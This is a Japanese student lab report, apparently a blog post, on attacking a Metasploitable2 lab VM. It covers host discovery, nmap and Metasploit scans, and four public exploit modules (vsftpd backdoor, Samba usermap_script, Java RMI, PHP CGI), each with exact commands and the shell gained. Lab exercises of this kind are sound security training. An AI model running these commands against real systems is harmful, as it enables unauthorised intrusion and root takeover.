ネットワークとシステムの攻防技術:メタスプロイタブル2ターゲットへの侵入テスト

ネットワークとシステムの攻防技術に関する実験レポート

1. 実験内容

  • 指定されたMetasploitable2ターゲットマシンの発見、ポートスキャン、および脆弱性スキャンを実施する。
  • 以下の4つの脆弱性を悪用することで、Metasploitの使用法を習得する:
    • Vsftpdソースコードバックドア脆弱性
    • Samba MS-RPCシェルコマンド注入脆弱性
    • Java RMIサーバーのコマンド実行脆弱性
    • PHP CGIパラメータ実行注入脆弱性

2. 実験手順

2.1 侵入テストの準備

2.1.1 ホスト発見

まず、指定されたMetasploitable2ホストのIPアドレスを特定します。これにより、後のスキャン作業が容易になります。

ターゲットマシンのIPアドレスは192.168.179.142であることが確認できました。

Metasploit内でARPスキャンモジュールarp_sweepを検索し、使用します。リモートホストアドレスRHOSTSをターゲットマシンのIPセグメントに設定します。具体的なコマンドは以下の通りです:

msfconsole  #Metasploitを起動
search arp_sweep  #ARPスキャン関連の補助モジュールを検索
use 0  #検索結果の最初のモジュールを使用
set RHOSTS 192.168.179.0/24  #仮想機が存在するネットワークセグメントをスキャン
run  #スキャンを開始

スキャン結果から、ターゲットマシンがオンラインであり、そのネットワークカード識別子がVMWare,Inc.であることが確認できました。これはVMWare仮想機であることを証明しています。

2.1.2 ポートスキャン

2.1.2.1 Nmapを使用したスキャン

WindowsホストまたはKali Linuxホストのいずれかで、以下のコマンドを実行してターゲットマシンに対するポートスキャンとバージョン検出を行います:

nmap -sS -sV 192.168.179.142
2.1.2.2 MetasploitのPortScan補助モジュールを使用したスキャン

Metasploitコンソールで以下のコマンドを入力します:

use auxiliary/scanner/portscan/tcp   #TCPポートスキャンモジュール
set RHOSTS 192.168.179.142    #対象IPを設定
set THREADS 10   #スレッド数を設定してスキャン速度を向上
run   #スキャンを開始

2.1.3 脆弱性スキャン

2.1.3.1 Nmapを使用した脆弱性スキャン

WindowsホストまたはKali Linuxホストで、以下のコマンドを実行してターゲットマシンに対する脆弱性スキャンを行います:

nmap -script=vuln 192.168.179.142

vsFTPd 2.3.4 バックドア脆弱性

  • 脆弱性ポート:21/tcp (FTPサービス)
  • リスクレベル深刻 - システムの最高権限を直接取得可能。
  • 脆弱性の説明:これは著名なvsFTPd 2.3.4バックドア脆弱性です。攻撃者はユーザー名に特定の文字(例::()を埋め込むことでこのバックドアをトリガーできます。スキャン結果はこの脆弱性の悪用に成功し、uid=0(root) gid=0(root)を返しました。これはパスワード不要でroot権限のコマンドシェルを取得し、ターゲットシステムを完全に掌握できることを証明しています。
  • 状態VULNERABLE (Exploitable) - 存在が確認され、悪用可能。
2.1.3.2 Nessusを使用した脆弱性スキャン

Nessusを使用したスキャン結果も同様に、いくつかの深刻な脆弱性を検出しました。

2.2 脆弱性の悪用

2.2.1 Vsftpdソースコードバックドア脆弱性(ポート21)

脆弱性スキャンでvsftpdのバージョンを既に検証しているため、ここでは直接攻撃を実行します。

Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:

use exploit/unix/ftp/vsftpd_234_backdoor  #対応する脆弱性モジュールを使用
set RHOST 192.168.179.142  #ターゲットホストを設定
exploit   #攻撃を開始

攻撃結果、root権限のシェルを正常に取得しました。

2.2.2 Samba MS-RPCシェルコマンド注入脆弱性(ポート139)

Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:

use exploit/multi/samba/usermap_script  #脆弱性モジュールを選択
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit #攻撃を開始

攻撃結果、root権限のシェルを正常に取得しました。

2.2.3 Java RMIサーバーのコマンド実行脆弱性(ポート1099)

以前のポートスキャンで1099ポートが開いていることを検出しているため、直接攻撃を実行します。

Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:

use exploit/multi/misc/java_rmi_server
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit   #攻撃を開始
shell

攻撃結果、root権限のシェルを正常に取得しました。

2.2.4 PHP CGIパラメータ実行注入脆弱性(ポート80)

Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:

use exploit/multi/http/php_cgi_arg_injection #脆弱性モジュールを選択
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit  #攻撃を開始

攻撃結果、シェルを正常に取得しましたが、これはrootユーザーではなく、サービスを作成したユーザーwww-dataです。

3. 学習の感想と考察

今回の実験内容は難易度が低く、主な難点は以前の実験で既に解決されています。そのため、私たちの作業は基本的にいくつかのコマンドを実行し、スクリーンショットを撮ることでした。

実験内容は難易度が低いですが、その背後にある原理は決して単純ではありません。現時点で実験で習得した部分だけでは不十分だと考えており、今後は背後にある原理をさらに詳細に研究する必要があります。

タグ: ネットワークセキュリティ メタスプロイト ペネトレーションテスト メタスプロイタブル2 Nmap

5月26日 07:57 投稿